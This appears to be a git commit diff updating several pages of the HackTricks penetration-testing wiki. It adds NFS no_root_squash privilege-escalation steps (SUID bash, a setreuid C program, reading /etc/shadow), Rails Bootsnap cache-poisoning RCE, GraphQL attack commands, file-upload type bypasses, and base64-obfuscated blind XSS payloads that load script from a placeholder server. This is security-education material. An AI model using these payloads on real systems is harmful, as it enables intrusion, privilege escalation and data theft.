mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
several additions
This commit is contained in:
parent
a05a090807
commit
6e9c53b011
@ -1,18 +1,30 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
|
||||
|
||||
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
|
||||
# Squashing Basic Info
|
||||
|
||||
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
|
||||
NFS will usually (specially in linux) trust the indicated `uid` and `gid` by the client conencting to access the files (if kerberos is not used). However, there are some configurations that can be set in the server to **change this behavior**:
|
||||
|
||||
- **`all_squash`**: It squashes all accesses mapping every user and group to **`nobody`** (65534 unsigned / -2 signed). Therefore, everyone is `nobody` and no users are used.
|
||||
- **`root_squash`/`no_all_squash`**: This is default on Linux and **only squashes access with uid 0 (root)**. Therefore, any `UID` and `GID` are trusted but `0` is squashed to `nobody` (so no root imperonation is possible).
|
||||
- **``no_root_squash`**: This configuration if enabled doesn't even squash the root user. This means that if you mount a directory with this configuration you can access it as root.
|
||||
|
||||
In the **/etc/exports** file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
|
||||
|
||||
For more information about **NFS** check:
|
||||
|
||||
{{#ref}}
|
||||
/network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
# Privilege Escalation
|
||||
|
||||
## Remote Exploit
|
||||
|
||||
If you have found this vulnerability, you can exploit it:
|
||||
|
||||
Option 1 using bash:
|
||||
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
|
||||
- Note that to be root inside the NFS share, **`no_root_squash`** must be configured in the server.
|
||||
- However, if not enabled, you could escalate to other user by copying the binary to the NFS share and giving it the SUID permission as the user you want to escalate to.
|
||||
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
@ -27,7 +39,9 @@ cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
|
||||
Option 2 using c compiled code:
|
||||
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
|
||||
- Same restrictions as before
|
||||
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
@ -72,26 +86,27 @@ The exploit involves creating a simple C program (`pwn.c`) that elevates privile
|
||||
|
||||
1. **Compile the exploit code:**
|
||||
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **Place the exploit on the share and modify its permissions by faking the uid:**
|
||||
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **Execute the exploit to gain root privileges:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
## Bonus: NFShell for Stealthy File Access
|
||||
|
||||
|
@ -6,16 +6,31 @@
|
||||
|
||||
**NFS** is a system designed for **client/server** that enables users to seamlessly access files over a network as though these files were located within a local directory.
|
||||
|
||||
A notable aspect of this protocol is its lack of built-in **authentication** or **authorization mechanisms**. Instead, authorization relies on **file system information**, with the server tasked with accurately translating **client-provided user information** into the file system's required **authorization format**, primarily following **UNIX syntax**.
|
||||
|
||||
Authentication commonly relies on **UNIX `UID`/`GID` identifiers and group memberships**. However, a challenge arises due to the potential mismatch in **`UID`/`GID` mappings** between clients and servers, leaving no room for additional verification by the server. Consequently, the protocol is best suited for use within **trusted networks**, given its reliance on this method of authentication.
|
||||
|
||||
**Default port**: 2049/TCP/UDP (except version 4, it just needs TCP or UDP).
|
||||
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
|
||||
### Authentication
|
||||
|
||||
A notable aspect of this protocol is its usual lack of built-in **authentication** or **authorization mechanisms**. Instead, authorization relies on **file system information**, with the server tasked with accurately translating **client-provided user information** into the file system's required **authorization format**, primarily following **UNIX syntax**.
|
||||
|
||||
Authentication commonly relies on **UNIX `UID`/`GID` identifiers and group memberships**. However, a challenge arises due to the potential mismatch in **`UID`/`GID` mappings** between clients and servers, leaving no room for additional verification by the server. Moreover, these details are sent by the client and trusted by the server, so a rogue client could potentially **impersonate another user sending more privileged `uid` and `gid`s.
|
||||
|
||||
**However, note that by default it's not possible to impersonate the `UID` 0 (root) using NFS. More on this ins the squashing section.**
|
||||
|
||||
#### Hosts
|
||||
|
||||
For better (or some) authorization, you can specify the **hosts** that can access the NFS share. This can be done in the Linux `/etc/exports` file. For example:
|
||||
|
||||
```
|
||||
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||
```
|
||||
|
||||
As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share.
|
||||
|
||||
### Versions
|
||||
|
||||
- **NFSv2**: This version is recognized for its broad compatibility with various systems, marking its significance with initial operations predominantly over UDP. Being the **oldest** in the series, it laid the groundwork for future developments.
|
||||
@ -23,11 +38,37 @@ Authentication commonly relies on **UNIX `UID`/`GID` identifiers and group membe
|
||||
- **NFSv3**: Introduced with an array of enhancements, NFSv3 expanded on its predecessor by supporting variable file sizes and offering improved error reporting mechanisms. Despite its advancements, it faced limitations in full backward compatibility with NFSv2 clients.
|
||||
|
||||
- **NFSv4**: A landmark version in the NFS series, NFSv4 brought forth a suite of features designed to modernize file sharing across networks. Notable improvements include the integration of Kerberos for **high security**, the capability to traverse firewalls and operate over the Internet without the need for portmappers, support for Access Control Lists (ACLs), and the introduction of state-based operations. Its performance enhancements and the adoption of a stateful protocol distinguish NFSv4 as a pivotal advancement in network file sharing technologies.
|
||||
- Note that it's very weird to find a Linux host NFS supporting kerberos authentication.
|
||||
|
||||
Each version of NFS has been developed with the intent to address the evolving needs of network environments, progressively enhancing security, compatibility, and performance.
|
||||
|
||||
### Squashing
|
||||
|
||||
As mentioned previously, NFS will usually trust the client's `uid` and `gid` to access the files (if kerberos is not used). However, there are some configurations that can be set in the server to **change this behavior**:
|
||||
|
||||
- **all_squash**: It squashes all accesses mapping every user and group to **`nobody`** (65534 unsigned / -2 signed). Therefore, everyone is `nobody` and no users are used.
|
||||
- **root_squash/no_all_squash**: This is default on Linux and **only squashes access with uid 0 (root)**. Therefore, any `UID` and `GID` are trusted but `0` is squashed to `nobody` (so no root imperonation is possible).
|
||||
- **no_root_squash**: This configuration if enabled doesn't even squash the root user. This means that if you mount a directory with this configuration you can access it as root.
|
||||
|
||||
### Subtree check
|
||||
|
||||
Only available on Linux. man(5) exports says: "If a subdirectory of a filesystem is exported, but the whole filesystem isn’t then whenever an NFS request arrives, the server must check not only that the accessed file is in the appropriate filesystem (which is easy) but also that it is in the exported tree (which is harder). This check is called the subtree check."
|
||||
|
||||
In Linux the **`subtree_check` feature is disabled** by default.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Showmount
|
||||
|
||||
This can be used to **get information from an NFSv3 server**, like the list of **exports**, who is **allowed to access** these exports, and which clients are connected (which may be inaccurate if a client disconnects without telling the server).
|
||||
In **NFSv4 clients just directly access the / export** and try to access exports from there, failing if it's invalid or unathorized for any reason.
|
||||
|
||||
If tools like `showmount` or Metasploit modules don't show information from a NFS port, it's potentially a NFSv4 server that doesn't support version 3.
|
||||
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
|
||||
### Useful nmap scripts
|
||||
|
||||
```bash
|
||||
@ -42,7 +83,12 @@ nfs-statfs #Disk statistics and info from NFS share
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
|
||||
### Mounting
|
||||
### nfs_analyze
|
||||
|
||||
This tool from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) can be used to obtain a lot of data from an NFS server like **mounts**, supported NFS versions, conencted IPs, and even if it's possible to **escape from the exports** to other folder sin the FS or **if `no_root_squash` is enabled**.
|
||||
|
||||
|
||||
## Mounting
|
||||
|
||||
To know **which folder** has the server **available** to mount you an ask it using:
|
||||
|
||||
@ -65,11 +111,36 @@ mkdir /mnt/new_back
|
||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
|
||||
## Permissions
|
||||
## Attacks
|
||||
|
||||
If you mount a folder which contains **files or folders only accesible by some user** (by **UID**). You can **create** **locally** a user with that **UID** and using that **user** you will be able to **access** the file/folder.
|
||||
### Trusting UID and GID
|
||||
|
||||
## NSFShell
|
||||
Ofc, the only problem here is that by default it's not possible to impersonate root (`UID` 0). However, it's possible to impersonate any other user or if `no_root_squash` is enabled you can also impersonate root.
|
||||
|
||||
- If you mount a folder which contains **files or folders only accesible by some user** (by **UID**). You can **create** **locally** a user with that **UID** and using that **user** you will be able to **access** the file/folder.
|
||||
- The tool **`fuse_nfs`** from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) will basically send always the needed UID and GID to access the files.
|
||||
|
||||
### SUID Privilege Escalation
|
||||
|
||||
Check the page:
|
||||
|
||||
{{#ref}}
|
||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Escaping from the exports
|
||||
|
||||
In this [great article](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) it's possible to see that it's possible to **escape from the exports to access other folders in the FS**.
|
||||
|
||||
Therefore, if an export is exporting a folder that is a **subfolder** of the **whole filesystem** it's possible to access files outside the export if **`subtree_check`** disabled. And it's **disabled by default in Linux**.
|
||||
|
||||
For example, if an NFS server is exporting `/srv/` and `/var/` is in the same filesystem, it's possible to read logs from `/var/log/` or store a webshell in `/var/www/`.
|
||||
|
||||
Moreover, note that by default only the root (0) user is protected from being impersonated (check the Squash section). However, if a file is **owned by root but the group is not 0, it's possible to access it**. For example, the file `/etc/shadow` is owned by root but the group is `shadow` (gid 42 on Debian). Therefore, it's possible to read it by default!
|
||||
|
||||
The tool **`nfs_analyze`** from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) is built to support this attack against the file systems ext4, xfs, btrfs in the version 3 (it should also be posisble in v4).
|
||||
|
||||
### NSFShell
|
||||
|
||||
To easily list, mount and change UID and GID to have access to files you can use [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
|
||||
@ -82,7 +153,7 @@ To easily list, mount and change UID and GID to have access to files you can use
|
||||
/etc/lib/nfs/etab
|
||||
```
|
||||
|
||||
### Dangerous settings
|
||||
## Dangerous settings
|
||||
|
||||
- **Read and Write Permissions (`rw`):** This setting allows both reading from and writing to the file system. It's essential to consider the implications of granting such broad access.
|
||||
|
||||
|
@ -609,10 +609,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerprint the graphql being used
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit that can be used to grab schemas and search for sensitive data, test authorization, brute force schemas, and find paths to a given type.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Can be used as standalone or [Burp extension](https://github.com/doyensec/inql).
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Can be used as a CLI client also to automate attacks
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Can be used as a CLI client also to automate attacks: `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool that lists the different ways of **reaching a given type in a GraphQL schema**.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): The Successor of Standalone and CLI Modes os InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension for advanced GraphQL testing. The _**Scanner**_ is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The _**Attacker**_ component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits.
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension or python script for advanced GraphQL testing. The _**Scanner**_ is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The _**Attacker**_ component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits: `python3 inql.py -t http://example.com/graphql -o output.json`
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Try to get the schema even with introspection disabled by using the help of some Graphql databases that will suggest the names of mutations and parameters.
|
||||
|
||||
### Clients
|
||||
|
@ -179,6 +179,7 @@ Check:
|
||||
- The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\
|
||||
This way if **both paths access a variable with the same name** you can make the **value of that variable in path1 apply to path2**. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2).
|
||||
- When you have the **usernames** of the users of the machine. Check the address: **/\~\<USERNAME>** to see if the php directories are activated.
|
||||
- If a php config has **`register_argc_argv = On`** then query params separated by spaces are used to populate the array of arguments **`array_keys($_SERVER['argv'])`** like if they were **arguments from the CLI**. This is interesting because if that **setting is off**, the value of the **args array will be `Null`** when called from the web as the ars arry won't be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like `if (empty($_SERVER['argv'])) {` an attacker could send **parameters in the GET request like `?--configPath=/lalala`** and it will think it’s running as CLI and potential parse and use those arguments. More info in the [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
@ -83,7 +83,8 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
||||
## Range requests
|
||||
|
||||
- **`Accept-Ranges`**: Indicates if the server supports range requests, and if so in which unit the range can be expressed. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indicates the part of a document that the server should return.
|
||||
- **`Range`**: Indicates the part of a document that the server should return. For emxaple, `Range:80-100` will return the bytes 80 to 100 of the original response with a status code of 206 Partial Content. Also remember to remove the `Accept-Encoding` header from the request.
|
||||
- This could be useful to get a repsonse with arbitrary reflected javascript code that otherwise could be escaped. But to abuse this you would need to inject this headers in the request.
|
||||
- **`If-Range`**: Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
|
||||
- **`Content-Range`**: Indicates where in a full body message a partial message belongs.
|
||||
|
||||
|
@ -986,6 +986,42 @@ Moreover, it was found that with the previous technique a folder is also created
|
||||
|
||||
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
|
||||
|
||||
- Identify the Vulnerability and Environment
|
||||
|
||||
The Rails app’s file upload functionality lets an attacker write files arbitrarily. Although the app runs with restrictions (only certain directories like tmp are writable due to Docker’s non-root user), this still allows writing to the Bootsnap cache directory (typically under tmp/cache/bootsnap).
|
||||
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. It stores cache files that include a cache key header (with fields like Ruby version, file size, mtime, compile options, etc.) followed by the compiled code. This header is used to validate the cache during app startup.
|
||||
|
||||
- Gather File Metadata
|
||||
|
||||
The attacker first selects a target file that is likely loaded during Rails startup (for example, set.rb from Ruby’s standard library). By executing Ruby code inside the container, they extract critical metadata (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option). This data is essential for crafting a valid cache key.
|
||||
|
||||
- Compute the Cache File Path
|
||||
|
||||
By replicating Bootsnap’s FNV-1a 64-bit hash mechanism, the correct cache file path is determined. This step ensures that the malicious cache file is placed exactly where Bootsnap expects it (e.g., under tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
The attacker prepares a payload that:
|
||||
|
||||
- Executes arbitrary commands (for example, running id to show process info).
|
||||
- Removes the malicious cache after execution to prevent recursive exploitation.
|
||||
- Loads the original file (e.g., set.rb) to avoid crashing the application.
|
||||
|
||||
This payload is compiled into binary Ruby code and concatenated with a carefully constructed cache key header (using the previously gathered metadata and the correct version number for Bootsnap).
|
||||
|
||||
- Overwrite and Trigger Execution
|
||||
Using the arbitrary file write vulnerability, the attacker writes the crafted cache file to the computed location. Next, they trigger a server restart (by writing to tmp/restart.txt, which is monitored by Puma). During restart, when Rails requires the targeted file, the malicious cache file is loaded, resulting in remote code execution (RCE).
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -210,11 +210,11 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
|
||||
### Zip/Tar File Automatically decompressed Upload
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
|
||||
#### Symlink
|
||||
### Symlink
|
||||
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
|
||||
@ -317,6 +317,14 @@ Despite their adaptability, polyglots do encounter limitations. For instance, wh
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
|
||||
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
|
||||
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
@ -325,5 +333,6 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
|
||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -96,6 +96,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
|
||||
### Add detection technique
|
||||
|
||||
If you found a SQLi but sqlmap didn't detect it, you can force the detection technique with args like `--prefix` or `--suffix`, or if more complex, adding it to the paylaods used by sqlmap in `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` for example for time blind based.
|
||||
|
||||
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**:
|
||||
|
@ -6,6 +6,7 @@
|
||||
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
http://127.0.0.1:80
|
||||
http://127.0.0.1:443
|
||||
http://127.0.0.1:22
|
||||
|
@ -1596,6 +1596,31 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
|
||||
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
|
||||
<!-- Image tag -->
|
||||
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- Input tag with autofocus -->
|
||||
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- In case jQuery is loaded, we can make use of the getScript method -->
|
||||
'"><script>$.getScript("{SERVER}/script.js")</script>
|
||||
|
||||
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
|
||||
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
|
||||
|
||||
<!-- Render an iframe to validate your injection point and receive a callback -->
|
||||
'"><iframe src="{SERVER}"></iframe>
|
||||
|
||||
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
|
||||
<base href="{SERVER}" />
|
||||
|
||||
<!-- Make use of the meta-tag to initiate a redirect -->
|
||||
<meta http-equiv="refresh" content="0; url={SERVER}" />
|
||||
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
|
||||
### Regex - Access Hidden Content
|
||||
@ -1744,5 +1769,6 @@ other-js-tricks.md
|
||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user